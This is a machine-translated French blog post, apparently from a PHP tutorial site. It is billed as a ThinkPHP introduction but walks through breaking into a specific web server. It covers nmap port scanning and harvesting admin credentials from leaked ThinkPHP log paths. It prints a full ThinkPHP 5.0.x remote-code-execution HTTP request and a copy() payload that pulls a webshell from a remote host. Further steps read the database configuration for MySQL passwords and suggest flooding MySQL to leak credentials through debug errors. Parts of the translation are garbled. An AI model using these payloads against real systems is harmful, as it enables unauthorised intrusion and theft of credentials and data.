La colonne tutorielle thinkphp framework suivante partagera avec vous une introduction pratique au framework ThinkPHP. J'espère qu'elle sera utile aux amis dans le besoin !
Trouvez un site Web http://x.x.x.x/ et commencez à le pénétrer
Utilisez d'abord nmap pour analyser et détecter les ports ouverts sur le serveur victime
Vous pouvez voir les ports ouverts comme suit
Le port est l'identifiant unique de l'application dans la communication informatique. Grâce au port, nous pouvons savoir quels services sont ouverts par le serveur victime
Par exemple, 3306 est mysql et les connexions externes sont activées. vérifiez l'accès au port pour voir s'il est ouvert. Quel service
8080 a ouvert phpmyadmin, un outil MySQL de connexion PHP Nous pouvons l'utiliser pour déchiffrer les mots de passe MySQL
8082 est une page d'accueil de prêt
Juste. entrez une route inexistante et vérifiez le message d'erreur tel que http://x.x. En raison d'un déploiement irrégulier, les journaux thinkphp sont divulgués. Le chemin http://x.x.x.x:8092/runtime/log/202112/19.log peut être utilisé. pour afficher le compte et le mot de passe auxquels l'administrateur s'est connecté.
Nous parlons ici de produits noirs utilisant le framework thinkphp Parce que le fonctionnement et la maintenance sont à moitié cuits, il est très probable que le journal thinkphp soit divulgué
charge utile tp5-6 : nom de domaine/runtime/log/202112/. 19.log (Le 202112/19.log suivant est basé sur les changements de date actuels
)charge utile tp3 : Nom de domaine/Application/Runtime/Logs/Home/21_12_19.log (
Le 21_12_19.log suivant est basé sur le changement de date actuel)
La version thinkphp utilisée par le port 8083 Il s'agit de la 5.0.15. Les conditions d'utilisation de la version 5.0.15 sont discrètes et douces.
Une fois la collecte d'informations terminée, attaque préciseOuvrez burp, puis utilisez la capture de paquets, puis transférez le paquet de données au module répéteur de burp Ensuite, remplacez le contenu du paquet capturé par le contenu suivantLe principe de la vulnérabilité ne sera pas expliqué en détail, car aucune couche d'architecture PHP ne peut le comprendre. Une brève description est qu'un écrasement de variable provoque l'exécution de code. Pour le poc de vulnérabilité thinkphp5, veuillez vous référer à https://y4er.com/post/thinkphp5-rce/
Le contenu du paquet suivant est de déclencher la vulnérabilité et d'autoriser. le serveur pour exécuter phpinfo()POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1 Host: x.x.x.x Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g Content-Type:application/x-www-form-urlencoded Content-Length: 77 _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echodAvec succès, vous pouvez voir quelques détails de PHPCommencez à écrire le shell et remplacez l'en-tête de la requête par :
POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1Cela signifie télécharger le fichier shell distant http://x.x.x.x /2.txt sur mon serveur. Écrivez dans t2.php dans le répertoire Web actuel
Mais lorsque j'accède à t2.php, un 404 apparaît, devinant que le répertoire actuel n'a pas les autorisations en écriture
POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
Je trouve que je ne parviens toujours pas à écrire le shell et que les autorisations php sont très limitées. Faible.
Remplacez chmod('./',0777) par readfile('../application/database.php') pour lire le fichier de configuration de la base de données. Il a été constaté que le mot de passe du compte MySQL avait été obtenu avec succès.
Utilisez le service phpmyadmin que nous avons découvert auparavant pour vous connecter, puis mysql pour ouvrir des connexions externesUtilisez l'outil de gestion mysql pour vous connecter et découvrir un tas de bases de données. Et mysql dispose directement des autorisations root, et peut effectuer une élévation de privilèges sur le serveur (pénétration latérale de l'intranet), etc. Quoi qu’il en soit, le réseau externe a ouvert une ouverture, je n’entrerai donc pas dans les détails ici.Pour résumer certaines des idées que j'ai trouvées moi-même : lorsque thinkphp active le mode débogage, si le serveur active les connexions externes à la base de données, il peut envoyer un grand nombre de requêtes en faisant exploser le service mysql (Laissez mysql bloquer ), provoquant la connexion de thinkphp à mysql et son expiration. Une erreur d'exception de connexion sera signalée et le mot de passe du compte mysql sera affiché sur la page.
Apprentissage recommandé : "tutoriel vidéo thinkphp"
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!